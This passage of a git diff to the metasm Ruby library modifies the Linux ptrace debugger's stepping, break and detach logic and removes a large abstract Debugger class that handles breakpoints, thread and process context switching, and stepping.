+        @state = :running
+        @ptrace.pid = @tid
+        @ptrace.singleblock(@continuesignal)
+      }
+    else
+      return if not check_pre_run(:singlestep)
+      @state = :running
+      @ptrace.pid = @tid
+      @ptrace.singleblock(@continuesignal)
+    end
   end
 
   def singleblock_wait(*a, &b)
@@ -1034,8 +1496,8 @@ class LinDebugger < Debugger
     # calling continue() here will loop back to TRAP+INFO_EXEC
   end
 
-  def break
-    @breaking = true
+  def break(&b)
+    @breaking = b || true
     kill 'STOP'
   end
 
@@ -1051,26 +1513,41 @@ class LinDebugger < Debugger
       @continuesignal = @saved_csig
     else
       @continuesignal = 0
-      end
-      end
+    end
+  end
 
   def sig2signr(sig)
     case sig
     when nil, ''; 9
     when Integer; sig
     when String
-             sig = sig.upcase.sub(/^SIG_?/, '')
+      sig = sig.upcase.sub(/^SIG_?/, '')
       PTrace::SIGNAL[sig] || Integer(sig)
     else raise "unhandled signal #{sig.inspect}"
-      end
+    end
   end
 
   # stop debugging the current process
   def detach
+    if @state == :running
+      # must be stopped so we can rm bps
+      self.break { detach }
+      mypid = @pid
+      wait_target
+
+      # after syscall(), wait will return once for interrupted syscall,
+      # and we need to wait more for the break callback to kick in
+      if @pid == mypid and @state == :stopped and @info =~ /syscall/
+        do_continue
+        check_target
+      end
+
+      return
+    end
     del_all_breakpoints
     each_tid {
       @ptrace.pid = @tid
-      @ptrace.detach
+      @ptrace.detach rescue nil
       @delete_thread = true
     }
     del_pid
diff --git a/lib/metasm/metasm/os/main.rb b/lib/metasm/metasm/os/main.rb
index c501dc6502..97919afc36 100644
--- a/lib/metasm/metasm/os/main.rb
+++ b/lib/metasm/metasm/os/main.rb
@@ -51,11 +51,19 @@ class OS
     pr
   end
 
+  # return 'winos' or 'linos' depending on the underlying OS
+  def self.shortname
+    case RUBY_PLATFORM
+    when /mswin|mingw|cygwin/i; 'winos'
+    when /linux/i; 'linos'
+    end
+  end
+
   # return the platform-specific version
   def self.current
-    case RUBY_PLATFORM
-    when /mswin|mingw|cygwin/i; WinOS
-    when /linux/i; LinOS
+    case shortname
+    when 'winos'; WinOS
+    when 'linos'; LinOS
     end
   end
 end
@@ -161,6 +169,17 @@ class VirtualString
     end
   end
 
+  def rindex(chr, max=length)
+    return if max > length
+    if max > 64 and i = self[max-64, 64].rindex(chr)
+      max - 64 + i
+    elsif max > @pagelength and i = self[max-@pagelength, @pagelength].rindex(chr)
+      max - @pagelength + i
+    else
+      realstring.rindex(chr, max)
+    end
+  end
+
   # '=~' does not go through method_missing
   def =~(o)
     realstring =~ o
@@ -264,7 +283,7 @@ class VirtualFile < VirtualString
     if sz = File.size(path) <= 4096 and (mode == 'rb' or mode == 'r')
       File.open(path, mode) { |fd| fd.read }
     else
-      File.open(path, mode) { |fd| new fd, 0, sz }
+      File.open(path, mode) { |fd| new fd.dup, 0, sz }
     end
   end
 
@@ -274,7 +293,7 @@ class VirtualFile < VirtualString
   # creates a new virtual mapping of a section of the file
   # the file descriptor must be seekable
   def initialize(fd, addr_start = 0, length = nil)
-    @fd = fd.dup
+    @fd = fd
     if not length
       @fd.seek(0, File::SEEK_END)
       length = @fd.tell - addr_start
@@ -308,1379 +327,4 @@ class VirtualFile < VirtualString
     @fd.read(@length)
   end
 end
-
-# this class implements a high-level debugging API (abstract superclass)
-class Debugger
-  class Breakpoint
-    attr_accessor :address,
-      # context where the bp was defined
-      :pid, :tid,
-      # bool: oneshot ?
-      :oneshot,
-      # current bp state: :active, :inactive (internal use), :disabled (user-specified)
-      :state,
-      # type: type of breakpoint (:bpx = soft, :hw = hard)
-      :type,
-      # Expression if this is a conditionnal bp
-      # may be a Proc, String or Expression, evaluated every time the breakpoint hits
-      # if it returns 0 or false, the breakpoint is ignored
-      :condition,
-      # Proc to run if this bp has a callback
-      :action,
-      # Proc to run to emulate the overwritten instr behavior
-      # used to avoid unset/singlestep/re-set, more multithread friendly
-      :emul_instr,
-      # internal data, cpu-specific (overwritten byte for a softbp, memory type/size for hwbp..)
-      :internal,
-      # reference breakpoints sharing a target implementation (same hw debug register, soft bp addr...)
-      #  shared is an array of Breakpoints, the same Array object in all shared breakpoints
-      #  owner is a hash key => shared (dbg.breakpoint)
-      #  key is an identifier for the Bp class in owner (bp.address)
-      :hash_shared, :hash_owner, :hash_key,
-      # user-defined breakpoint-specific stuff
-      :userdata
-
-    # append the breakpoint to hash_owner + hash_shared
-    def add(owner=@hash_owner)
-      @hash_owner = owner
-      @hash_key ||= @address
-      return add_bpm if @type == :bpm
-      if pv = owner[@hash_key]
-        @hash_shared  = pv.hash_shared
-        @internal   ||= pv.internal
-        @emul_instr ||= pv.emul_instr
-      else
-        owner[@hash_key] = self
-        @hash_shared = []
-      end
-      @hash_shared << self
-    end
-
-    # register a bpm: add references to all page start covered in @hash_owner
-    def add_bpm
-      m = @address + @internal[:len]
-      a = @address & -0x1000
-      @hash_shared = [self]
-
-      @internal ||= {}
-      @internal[:orig_prot] ||= {}
-      while a < m
-        if pv = @hash_owner[a]
-          if not pv.hash_shared.include?(self)
-            pv.hash_shared.concat @hash_shared-pv.hash_shared
-            @hash_shared.each { |bpm| bpm.hash_shared = pv.hash_shared }
-          end
-          @internal[:orig_prot][a] = pv.internal[:orig_prot][a]
-        else
-          @hash_owner[a] = self
-        end
-        a += 0x1000
-      end
-    end
-
-    # delete the breakpoint from hash_shared, and hash_owner if empty
-    def del
-      return del_bpm if @type == :bpm
-      @hash_shared.delete self
-      if @hash_shared.empty?
-  				@hash_owner.delete @hash_key
-      elsif @hash_owner[@hash_key] == self
-        @hash_owner[@hash_key] = @hash_shared.first
-      end
-    end
-
-    # unregister a bpm
-    def del_bpm
-      m = @address + @internal[:len]
-      a = @address & -0x1000
-      @hash_shared.delete self
-      while a < m
-        pv = @hash_owner[a]
-        if pv == self
-          if opv = @hash_shared.find { |bpm|
-              bpm.address < a + 0x1000 and bpm.address + bpm.internal[:len] > a
-            }
-            @hash_owner[a] = opv
-          else
-            @hash_owner.delete a
-
-            # split hash_shared on disjoint ranges
-            prev_shared = @hash_shared.find_all { |bpm|
-              bpm.address < a + 0x1000 and bpm.address + bpm.internal[:len] <= a
-            }
-
-            prev_shared.each { |bpm|
-              bpm.hash_shared = prev_shared
-              @hash_shared.delete bpm
-            }
-          end
-        end
-        a += 0x1000
-      end
-  end
-  end
-
-  # per-process data
-  attr_accessor :memory, :cpu, :disassembler, :breakpoint, :breakpoint_memory,
-    :modulemap, :symbols, :symbols_len
-  # per-thread data
-  attr_accessor :state, :info, :breakpoint_thread, :singlestep_cb, :run_method,
-    :run_args, :breakpoint_cause
-
-  # which/where per-process/thread stuff is stored
-  attr_accessor :pid_stuff, :tid_stuff, :pid_stuff_list, :tid_stuff_list
-
-  # global debugger callbacks, called whenever such event occurs
-  attr_accessor :callback_singlestep, :callback_bpx, :callback_hwbp, :callback_bpm,
-           :callback_exception, :callback_newthread, :callback_endthread,
-    :callback_newprocess, :callback_endprocess, :callback_loadlibrary
-
-  # global switches, specify wether to break on exception/thread event
-  #  can be a Proc that is evaluated (arg = info parameter of the evt_func)
-  # trace_children is a bool to tell if we should debug subprocesses spawned
-  #  by the target
-  attr_accessor :pass_all_exceptions, :ignore_newthread, :ignore_endthread,
-    :trace_children
-
-  # link to the user-interface object if available
-  attr_accessor :gui
-
-  # initializes the disassembler internal data - subclasses should call super()
-  def initialize
-    @pid_stuff = {}
-    @tid_stuff = {}
-    @log_proc = nil
-    @state = :dead
-    @info = ''
-    # stuff saved when we switch pids
-    @pid_stuff_list = [:memory, :cpu, :disassembler, :symbols, :symbols_len,
-      :modulemap, :breakpoint, :breakpoint_memory, :tid, :tid_stuff,
-      :dead_process]
-    @tid_stuff_list = [:state, :info, :breakpoint_thread, :singlestep_cb, 
-      :run_method, :run_args, :breakpoint_cause, :dead_thread]
-    @callback_loadlibrary = lambda { |h| loadsyms(h[:address]) ; continue }
-    @callback_newprocess = lambda { |h| log "process #{@pid} created" }
-    @callback_endprocess = lambda { |h| log "process #{@pid} died" }
-    initialize_newpid
-    initialize_newtid
-  end
-
-  def shortname; self.class.name.split('::').last.downcase; end
-
-  attr_reader :pid
-  # change pid and associated cached data
-  # this will also re-load the previously selected tid for this process
-  def pid=(npid)
-    return if npid == pid
-    raise "invalid pid" if not check_pid(npid)
-    swapout_pid
-    @pid = npid
-    swapin_pid
-  end
-  alias set_pid pid=
-
-  attr_reader :tid
-  def tid=(ntid)
-    return if ntid == tid
-    raise "invalid tid" if not check_tid(ntid)
-    swapout_tid
-    @tid = ntid
-    swapin_tid
-  end
-  alias set_tid tid=
-
-  # creates stuff related to a new process being debugged
-  # includes disassembler, modulemap, symbols, breakpoints
-  # subclasses should check that @pid maps to a real process and raise() otherwise
-  # to be called with @pid/@tid set, calls initialize_memory+initialize_cpu
-  def initialize_newpid
-    return if not pid
-    @pid_stuff_list.each { |s| instance_variable_set("@#{s}", nil) }
-
-    @symbols = {}
-    @symbols_len = {}
-    @modulemap = {}
-    @breakpoint = {}
-    @breakpoint_memory = {}
-    @tid_stuff = {}
-    initialize_cpu
-    initialize_memory
-    initialize_disassembler
-  end
-
-  # subclasses should check that @tid maps to a real thread and raise() otherwise
-  def initialize_newtid
-    return if not tid
-    @tid_stuff_list.each { |s| instance_variable_set("@#{s}", nil) }
-
-    @state = :stopped
-    @info = 'new'
-    @breakpoint_thread = {}
-    gui.swapin_tid if @disassembler and gui.respond_to?(:swapin_tid)
-  end
-
-  # initialize the disassembler from @cpu/@memory
-  def initialize_disassembler
-    return if not @memory or not @cpu
-    @disassembler = Shellcode.decode(@memory, @cpu).disassembler
-    gui.swapin_pid if gui.respond_to?(:swapin_pid)
-  end
-
-  # we're switching focus from one pid to another, save current pid data
-  def swapout_pid
-    return if not pid
-    swapout_tid
-    gui.swapout_pid if gui.respond_to?(:swapout_pid)
-    @pid_stuff[@pid] ||= {}
-    @pid_stuff_list.each { |fld|
-      @pid_stuff[@pid][fld] = instance_variable_get("@#{fld}")
-    }
-  end
-
-  # we're switching focus from one tid to another, save current tid data
-  def swapout_tid
-    return if not tid
-    gui.swapout_tid if gui.respond_to?(:swapout_tid)
-    @tid_stuff[@tid] ||= {}
-    @tid_stuff_list.each { |fld|
-      @tid_stuff[@tid][fld] = instance_variable_get("@#{fld}")
-    }
-  end
-
-  # we're switching focus from one pid to another, load current pid data
-  def swapin_pid
-    return initialize_newpid if not @pid_stuff[@pid]
-
-    @pid_stuff_list.each { |fld|
-      instance_variable_set("@#{fld}", @pid_stuff[@pid][fld])
-    }
-    swapin_tid
-    gui.swapin_pid if gui.respond_to?(:swapin_pid)
-  end
-
-  # we're switching focus from one tid to another, load current tid data
-  def swapin_tid
-    return initialize_newtid if not @tid_stuff[@tid]
-
-    @tid_stuff_list.each { |fld|
-      instance_variable_set("@#{fld}", @tid_stuff[@tid][fld])
-    }
-    gui.swapin_tid if gui.respond_to?(:swapin_tid)
-  end
-
-  # delete references to the current pid
-  # switch to another pid, set @state = :dead if none available
-  def del_pid
-    @pid_stuff.delete @pid
-    if @pid = @pid_stuff.keys.first
-      swapin_pid
-    else
-      @state = :dead
-      @info = ''
-      @tid = nil
-    end
-  end
-
-  # delete references to the current thread
-  # calls del_pid if no tid left
-  def del_tid
-    @tid_stuff.delete @tid
-    if @tid = @tid_stuff.keys.first
-      swapin_tid
-    else
-      del_pid
-    end
-  end
-
-  # change the debugger to a specific pid/tid
-  # if given a block, run the block and then restore the original pid/tid
-  # pid may be an object that respond to #pid/#tid
-  def switch_context(npid, ntid=nil)
-    if npid.respond_to? :pid
-      ntid ||= npid.tid
-      npid = npid.pid
-    end
-    oldpid = pid
-    oldtid = tid
-    set_pid npid
-    set_tid ntid if ntid
-    if block_given?
-      # shortcut begin..ensure overhead
-      return yield if oldpid == pid and oldtid == tid
-
-      begin
-        yield
-      ensure
-        set_pid oldpid
-        set_tid oldtid
-      end
-    end
-  end
-  alias set_context switch_context
-
-  # iterate over all pids, yield in the context of this pid
-  def each_pid
-    # ensure @pid is last, so that we finish in the current context
-    lst = @pid_stuff.keys - [@pid]
-    lst << @pid
-    return lst if not block_given?
-    lst.each { |p|
-      set_pid p
-      yield
-    }
-  end
-
-  # iterate over all tids of the current process, yield in its context
-  def each_tid
-    lst = @tid_stuff.keys - [@tid]
-    lst << @tid
-    return lst if not block_given?
-    lst.each { |t|
-      set_tid t
-      yield
-    }
-  end
-
-  # iterate over all tids of all pids, yield in their context
-  def each_pid_tid
-    each_pid { each_tid { yield } }
-  end
-
-
-  # create a thread/process breakpoint
-  # addr can be a numeric address, an Expression that is resolved, or
-  #  a String that is parsed+resolved
-  # info's keys are set to the breakpoint
-  # standard keys are :type, :oneshot, :condition, :action
-  # returns the Breakpoint object
-  def add_bp(addr, info={})
-    info[:pid] ||= @pid
-    info[:tid] ||= @tid if info[:pid] == @pid
-
-    b = Breakpoint.new
-    info.each { |k, v|
-      b.send("#{k}=", v)
-    }
-
-    switch_context(b) {
-      addr = resolve_expr(addr) if not addr.kind_of? ::Integer
-      b.address = addr
-
-      b.hash_owner ||= case b.type
-        when :bpm;  @breakpoint_memory
-        when :hwbp; @breakpoint_thread
-        when :bpx;  @breakpoint
-        end
-      # XXX bpm may hash_share with an :active, but be larger and still need enable()
-      b.add
-
-      enable_bp(b) if not info[:state]
-    }
-
-    b
-  end
-
-  # remove a breakpoint
-  def del_bp(b)
-    disable_bp(b)
-    b.del
-  end
-
-  # activate an inactive breakpoint
-  def enable_bp(b)
-    return if b.state == :active
-    if not b.hash_shared.find { |bb| bb.state == :active }
-      switch_context(b) {
-        if not b.internal
-          init_bpx(b) if b.type == :bpx
-          b.internal ||= {}
-          b.hash_shared.each { |bb| bb.internal ||= b.internal }
-        end
-        do_enable_bp(b)
-      }
-    end
-    b.state = :active
-  end
-
-  # deactivate an active breakpoint
-  def disable_bp(b, newstate = :inactive)
-    return if b.state != :active
-    b.state = newstate
-    return if b.hash_shared.find { |bb| bb.state == :active }
-    switch_context(b) {
-      do_disable_bp(b)
-    }
-  end
-
-
-  # delete all breakpoints defined in the current thread
-  def del_all_breakpoints_thread
-    @breakpoint_thread.values.map { |b| b.hash_shared }.flatten.uniq.each { |b| del_bp(b) }
-  end
-
-  # delete all breakpoints for the current process and all its threads
-  def del_all_breakpoints
-    each_tid { del_all_breakpoints_thread }
-    @breakpoint.values.map { |b| b.hash_shared }.flatten.uniq.each { |b| del_bp(b) }
-    @breakpoint_memory.values.uniq.map { |b| b.hash_shared }.flatten.uniq.each { |b| del_bp(b) }
-  end
-
-  # calls do_enable_bpm for bpms, or @cpu.dbg_enable_bp
-  def do_enable_bp(b)
-    if b.type == :bpm; do_enable_bpm(b)
-    else @cpu.dbg_enable_bp(self, b)
-    end
-  end
-
-  # calls do_disable_bpm for bpms, or @cpu.dbg_disable_bp
-  def do_disable_bp(b)
-    if b.type == :bpm; do_disable_bpm(b)
-    else @cpu.dbg_disable_bp(self, b)
-    end
-  end
-
-  # called in the context of the target when a bpx is to be initialized
-  # will disassemble the code pointed, and try to initialize #emul_instr
-  def init_bpx(b)
-    @disassembler.disassemble_fast_block(b.address)		# XXX configurable dasm method
-    if di = @disassembler.di_at(b.address) and
-        fdbd = @disassembler.get_fwdemu_binding(di, register_pc) and
-        not fdbd[:incomplete_binding] and not fdbd.index(Expression::Unknown) and
-        fdbd.keys.all? { |k| k.kind_of?(Symbol) or k.kind_of?(Indirection) }
-
-puts di.instruction, fdbd.inspect
-      b.emul_instr = lambda { |dbg|
-        resv = lambda { |e|
-          r = e
-          flags = Expression[r].externals.uniq.find_all { |f| f.to_s =~ /flags?_(.+)/ }
-          if flags.first
-            bd = {}
-            flags.each { |f|
-              f.to_s =~ /flags?_(.+)/
-              bd[f] = dbg.get_flag_value($1.downcase.to_sym)
-            }
-            r = r.bind(bd)
-          end
-          dbg.resolve(r)
-        }
-
-        fdbd.map { |k, v|
-          k = Indirection[resv[k.pointer], k.len] if k.kind_of?(Indirection)
-          [k, resv[v]]
-        }.each { |k, v|
-          if k.to_s =~ /flags?_(.+)/
-            dbg.set_flag_value($1.downcase.to_sym, v)
-          elsif k.kind_of?(Symbol)
-            dbg.set_reg_value(k, v)
-          elsif k.kind_of?(Indirection)
-            dbg.memory_write_int(k.pointer, v, k.len)
-          end
-        }
-      }
-      b.hash_shared.each { |bb| bb.emul_instr = b.emul_instr }
-    end
-  end
-
-  # sets a breakpoint on execution
-  def bpx(addr, oneshot=false, cond=nil, &action)
-    h = { :type => :bpx }
-    h[:oneshot] = true if oneshot
-    h[:condition] = cond if cond
-    h[:action] = action if action
-    add_bp(addr, h)
-  end
-
-  # sets a hardware breakpoint
-  # mtype in :r :w :x
-  # mlen is the size of the memory zone to cover
-  # mlen may be constrained by the architecture
-  def hwbp(addr, mtype=:x, mlen=1, oneshot=false, cond=nil, &action)
-    h = { :type => :hwbp }
-    h[:hash_owner] = @breakpoint_thread
-    addr = resolve_expr(addr) if not addr.kind_of? ::Integer
-    h[:hash_key] = [addr, mtype, mlen]
-    h[:internal] = { :type => mtype, :len => mlen }
-    h[:oneshot] = true if oneshot
-    h[:condition] = cond if cond
-    h[:action] = action if action
-    add_bp(addr, h)
-  end
-
-  # sets a memory breakpoint
-  # mtype is :r :w :rw or :x
-  # mlen is the size of the memory zone to cover
-  def bpm(addr, mtype=:r, mlen=4096, oneshot=false, cond=nil, &action)
-    h = { :type => :bpm }
-    addr = resolve_expr(addr) if not addr.kind_of? ::Integer
-    h[:hash_key] = addr & -4096	# XXX actually referenced at addr, addr+4096, ... addr+len
-    h[:internal] = { :type => type, :len => mlen }
-    h[:oneshot] = true if oneshot
-    h[:condition] = cond if cond
-    h[:action] = action if action
-    add_bp(addr, h)
-  end
-
-
-  # define the lambda to use to log stuff (used by #puts)
-  def set_log_proc(l=nil, &b)
-    @log_proc = l || b
-  end
-
-  # show information to the user, uses log_proc if defined
-  def log(*a)
-    if @log_proc
-      a.each { |aa| @log_proc[aa] }
-    else
-      puts(*a)
-    end
-  end
-
-
-  # marks the current cache of memory/regs invalid
-  def invalidate
-    @memory.invalidate if @memory
-  end
-
-  # invalidates the EncodedData backend for the dasm sections
-  def dasm_invalidate
-    disassembler.sections.each_value { |s| s.data.invalidate if s.data.respond_to? :invalidate }
-  end
-
-  # return all breakpoints set on a specific address (or all bp)
-  def all_breakpoints(addr=nil)
-    ret = []
-    if addr
-      if b = @breakpoint[addr]
-        ret |= b.hash_shared
-  end
-    else
-      @breakpoint.each_value { |bb| ret |= bb.hash_shared }
-  end
-
-    @breakpoint_thread.each_value { |bb|
-      next if addr and bb.address != addr
-      ret |= bb.hash_shared
-    }
-
-    @breakpoint_memory.each_value { |m|
-      next if addr and (bb.address+bb.internal[:len] <= addr or bb.address > addr)
-      ret |= bb.hash_shared
-    }
-
-    ret
-  end
-
-  def find_breakpoint(addr=nil)
-    return @breakpoint[addr] if @breakpoint[addr] and (not block_given? or yield(@breakpoint[addr]))
-    all_breakpoints(addr).find { |b| yield b }
-  end
-
-
-  # to be called right before resuming execution of the target
-  # run_m is the method that should be called if the execution is stopped
-  # due to a side-effect of the debugger (bpx with wrong condition etc)
-  # returns nil if the execution should be avoided (just deleted the dead thread/process)
-  def check_pre_run(run_m, *run_a)
-    if @dead_process
-      del_pid
-      return
-    elsif @dead_thread
-      del_tid
-      return
-    elsif @state == :running
-      return
-    end
-    @cpu.dbg_check_pre_run(self) if @cpu.respond_to?(:dbg_check_pre_run)
-    @breakpoint_cause = nil
-    @run_method = run_m
-    @run_args = run_a
-    @state = :running
-    @info = nil
-    true
-  end
-
-
-  # called when the target stops due to a singlestep exception
-  def evt_singlestep(b=nil)
-    b ||= find_singlestep
-    return evt_exception(:type => 'singlestep') if not b
-
-    @state = :stopped
-    @info = 'singlestep'
-    @cpu.dbg_evt_singlestep(self) if @cpu.respond_to?(:dbg_evt_singlestep)
-
-    callback_singlestep[] if callback_singlestep
-
-    if cb = @singlestep_cb
-      @singlestep_cb = nil
-      cb.call	# call last, as the cb may change singlestep_cb/state/etc
-    end
-  end
-
-  # returns true if the singlestep is due to us
-  def find_singlestep
-    return @cpu.dbg_find_singlestep(self) if @cpu.respond_to?(:dbg_find_singlestep)
-    @run_method == :singlestep
-  end
-  
-  # called when the target stops due to a soft breakpoint exception
-  def evt_bpx(b=nil)
-    b ||= find_bp_bpx
-    return evt_exception(:type => 'breakpoint') if not b
-
-    @state = :stopped
-    @info = 'breakpoint'
-    @cpu.dbg_evt_bpx(self, b) if @cpu.respond_to?(:dbg_evt_bpx)
-
-    callback_bpx[b] if callback_bpx
-
-    post_evt_bp(b)
-  end
-
-  # return the breakpoint that is responsible for the evt_bpx
-  def find_bp_bpx
-    return @cpu.dbg_find_bpx(self) if @cpu.respond_to?(:dbg_find_bpx)
-    @breakpoint[pc]
-  end
-
-  # called when the target stops due to a hwbp exception
-  def evt_hwbp(b=nil)
-    b ||= find_bp_hwbp
-    return evt_exception(:type => 'hwbp') if not b
-
-    @state = :stopped
-    @info = 'hwbp'
-    @cpu.dbg_evt_hwbp(self, b) if @cpu.respond_to?(:dbg_evt_hwbp)
-
-    callback_hwbp[b] if callback_hwbp
-
-    post_evt_bp(b)
-  end
-
-  # return the breakpoint that is responsible for the evt_hwbp
-  def find_bp_hwbp
-    return @cpu.dbg_find_hwbp(self) if @cpu.respond_to?(:dbg_find_bpx)
-    @breakpoint_thread.find { |b| b.address == pc }
-  end
-
-  # called for archs where the same interrupt is generated for hwbp and singlestep
-  # checks if a hwbp matches, then call evt_hwbp, else call evt_singlestep (which
-  # will forward to evt_exception if singlestep does not match either)
-  def evt_hwbp_singlestep
-    if b = find_bp_hwbp
-      evt_hwbp(b)
-        else
-      evt_singlestep
-    end
-  end
-
-  # called when the target stops due to a memory exception caused by a memory bp
-  # called by evt_exception
-  def evt_bpm(b)
-    @state = :stopped
-    @info = 'bpm'
-
-    callback_bpm[b] if callback_bpm
-
-    post_evt_bp(b)
-  end
-
-  # return a bpm whose page coverage includes the fault described in info
-  def find_bp_bpm(info)
-    @breakpoint_memory[info[:fault_addr] & -0x1000]
-  end
-
-  # returns true if the fault described in info is valid to trigger b
-  def check_bpm_range(b, info)
-    return if b.address+b.internal[:len] <= info[:fault_addr]
-    return if b.address >= info[:fault_addr] + info[:fault_len]
-    case b.internal[:type]
-    when :x; info[:fault_addr] == pc	# XXX
-    when :r; info[:fault_access] == :r 
-    when :w; info[:fault_access] == :w
-    when :rw; true
-    end
-  end
-
-  # handles breakpoint conditions/callbacks etc
-  def post_evt_bp(b)
-    @breakpoint_cause = b
-
-    found_valid_active = false
-
-    # XXX may have many active bps with callback that continue/singlestep/singlestep{}...
-    b.hash_shared.dup.map { |bb|
-      # ignore inactive bps
-      next if bb.state != :active
-
-      # ignore out-of-range bpms
-      next if bb.type == :bpm and not check_bpm_range(bb, b.internal)
-
-      # check condition
-      case bb.condition
-      when nil; cd = 1
-      when Proc; cd = bb.condition.call
-      when String, Expression; cd = resolve_expr(bb.condition)
-      else raise "unknown bp condition #{bb.condition.inspect}"
-      end
-      next if not cd or cd == 0
-
-      found_valid_active = true
-
-      # oneshot
-      del_bp(bb) if bb.oneshot
-
-      # callback
-      bb.action
-    }.compact.each { |cb| cb.call }
-
-    # we did break due to a bp whose condition is not true: resume
-    # (unless a callback already resumed)
-    resume_badbreak(b) if not found_valid_active and @state == :stopped
-  end
-
-  # called whenever the target stops due to an exception
-  # type may be:
-  # * 'access violation', :fault_addr, :fault_len, :fault_access (:r/:w/:x)
-  # anything else for other exceptions (access violation is special to handle bpm)
-  # ...
-  def evt_exception(info={})
-    if info[:type] == 'access violation' and b = find_bp_bpm(info)
-      info[:fault_len] ||= 1
-      b.internal.update info
-      return evt_bpm(b)
-    end
-
-    @state = :stopped
-    @info = "exception #{info[:type]}"
-
-    callback_exception[info] if callback_exception
-
-    pass = pass_all_exceptions
-    pass = pass[info] if pass.kind_of? Proc
-    if pass
-      pass_current_exception
-      resume_badbreak
-    end
-  end
-
-  def evt_newthread(info={})
-    @state = :stopped
-    @info = 'new thread'
-
-    callback_newthread[info] if callback_newthread
-
-    ign = ignore_newthread
-    ign = ign[info] if ign.kind_of? Proc
-    if ign
-      continue
-    end
-  end
-
-  def evt_endthread(info={})
-    @state = :stopped
-    @info = 'end thread'
-    # mark the thread as to be deleted on next check_pre_run
-    @dead_thread = true
-
-    callback_endthread[info] if callback_endthread
-
-    ign = ignore_endthread
-    ign = ign[info] if ign.kind_of? Proc
-    if ign
-      continue
-    end
-  end
-
-  def evt_newprocess(info={})
-    @state = :stopped
-    @info = 'new process'
-
-    callback_newprocess[info] if callback_newprocess
-  end
-
-  def evt_endprocess(info={})
-    @state = :stopped
-    @info = 'end process'
-    @dead_process = true
-
-    callback_endprocess[info] if callback_endprocess
-        end
-
-  def evt_loadlibrary(info={})
-    @state = :stopped
-    @info = 'loadlibrary'
-
-    callback_loadlibrary[info] if callback_loadlibrary
-  end
-
-  # called when we did break due to a breakpoint whose condition is invalid
-  # resume execution as if we never stopped
-  # disable offending bp + singlestep if needed
-  def resume_badbreak(b=nil)
-    # ensure we didn't delete b 
-    if b and b.hash_shared.find { |bb| bb.state == :active }
-      rm = @run_method
-      if rm == :singlestep
-        singlestep_bp(b)
-      else
-        @run_args = ra
-        singlestep_bp(b) { send rm, *ra }
-        end
-    else
-      send @run_method, *@run_args
-      end
-      end
-
-  # singlesteps over an active breakpoint and run its block
-  # if the breakpoint provides an emulation stub, run that, otherwise
-  # disable the breakpoint, singlestep, and re-enable
-  def singlestep_bp(bp, &b)
-    if be = bp.hash_shared.find { |bb| bb.emul_instr }
-      @state = :stopped
-      be.emul_instr[self]
-      yield if block_given?
-    else
-      bp.hash_shared.each { |bb|
-        disable_bp(bb, :temp_inactive) if bb.state == :active
-      }
-      # this *should* work with different bps stopping the current instr
-      prev_sscb = @singlestep_cb
-      singlestep {
-        bp.hash_shared.each { |bb|
-          enable_bp(bb) if bb.state == :temp_inactive
-        }
-        prev_sscb[] if prev_sscb
-        yield if block_given?
-      }
-    end
-  end
-
-
-  # checks if the running target has stopped (nonblocking)
-  def check_target
-    do_check_target
-  end
-
-  # waits until the running target stops (due to a breakpoint, fault, etc)
-  def wait_target
-    do_wait_target while @state == :running
-  end
-
-  # resume execution of the target
-  # bypasses a software breakpoint on pc if needed
-  # thread breakpoints must be manually disabled before calling continue
-  def continue
-    if b = @breakpoint_cause and b.hash_shared.find { |bb| bb.state == :active }
-      singlestep_bp(b) {
-        next if not check_pre_run(:continue)
-        do_continue
-      }
-    else
-      return if not check_pre_run(:continue)
-      do_continue
-    end
-  end
-  alias run continue
-
-  # continue ; wait_target
-  def continue_wait
-    continue
-    wait_target
-  end
-
-  # resume execution of the target one instruction at a time
-  def singlestep(&b)
-    @singlestep_cb = b
-    bp = @breakpoint_cause
-    return if not check_pre_run(:singlestep)
-    if bp and bp.hash_shared.find { |bb| bb.state == :active } and be = bp.hash_shared.find { |bb| bb.emul_instr }
-      @state = :stopped
-      be.emul_instr[self]
-      invalidate
-      evt_singlestep(true)
-    else
-      do_singlestep
-    end
-  end
-
-  # singlestep ; wait_target
-  def singlestep_wait(&b)
-    singlestep(&b)
-      wait_target
-    end
-
-  # tests if the specified instructions should be stepover() using singlestep or
-  # by putting a breakpoint at next_addr
-  def need_stepover(di = di_at(pc))
-    di and @cpu.dbg_need_stepover(self, di.address, di)
-  end
-
-  # stepover: singlesteps, but do not enter in subfunctions
-  def stepover
-    di = di_at(pc)
-    if need_stepover(di)
-      bpx di.next_addr, true, Expression[:tid, :==, @tid]
-      continue
-    else
-      singlestep
-    end
-  end
-
-  # stepover ; wait_target
-  def stepover_wait
-    stepover
-    wait_target
-  end
-
-  # checks if an instruction should stop the stepout() (eg it is a return instruction)
-  def end_stepout(di = di_at(pc))
-    di and @cpu.dbg_end_stepout(self, di.address, di)
-  end
-
-  # stepover until finding the last instruction of the function
-  def stepout
-    # TODO thread-local bps
-    while not end_stepout
-      stepover
-      wait_target
-    end
-    do_singlestep
-  end
-
-  # set a singleshot breakpoint, run the process, and wait
-  def go(target, cond=nil)
-    bpx(target, true, cond)
-    continue_wait
-  end
-
-  # continue_wait until @state == :dead
-  def run_forever
-    continue_wait until @state == :dead
-  end
-
-  # decode the Instruction at the address, use the @disassembler cache if available
-  def di_at(addr)
-    @disassembler.di_at(addr) || @disassembler.disassemble_instruction(addr)
-  end
-
-  # list the general purpose register names available for the target
-  def register_list
-    @cpu.dbg_register_list
-  end
-
-  # hash { register_name => register_size_in_bits }
-  def register_size
-    @cpu.dbg_register_size
-  end
-
-  # retrieves the name of the register holding the program counter (address of the next instruction)
-  def register_pc
-    @cpu.dbg_register_pc
-  end
-
-  # retrieve the name of the register holding the stack pointer
-  def register_sp
-    @cpu.dbg_register_sp
-  end
-
-  # then name of the register holding the cpu flags
-  def register_flags
-    @cpu.dbg_register_flags
-  end
-
-  # list of flags available in the flag register
-  def flag_list
-    @cpu.dbg_flag_list
-  end
-
-  # retreive the value of the program counter register (eip)
-  def pc
-    get_reg_value(register_pc)
-  end
-  alias ip pc
-
-  # change the value of pc
-  def pc=(v)
-    set_reg_value(register_pc, v)
-  end
-  alias ip= pc=
-
-  # retrieve the value of the stack pointer register
-  def sp
-    get_reg_value(register_sp)
-  end
-
-  # update the stack pointer
-  def sp=(v)
-    set_reg_value(register_sp, v)
-  end
-
-  # retrieve the value of a flag (0/1)
-  def get_flag_value(f)
-    @cpu.dbg_get_flag(self, f)
-  end
-
-  # retrieve the value of a flag (true/false)
-  def get_flag(f)
-    get_flag_value(f) != 0
-  end
-
-  # change the value of a flag
-  def set_flag_value(f, v)
-    (v && v != 0) ? set_flag(f) : unset_flag(f)
-  end
-
-  # switch the value of a flag (true->false, false->true)
-  def toggle_flag(f)
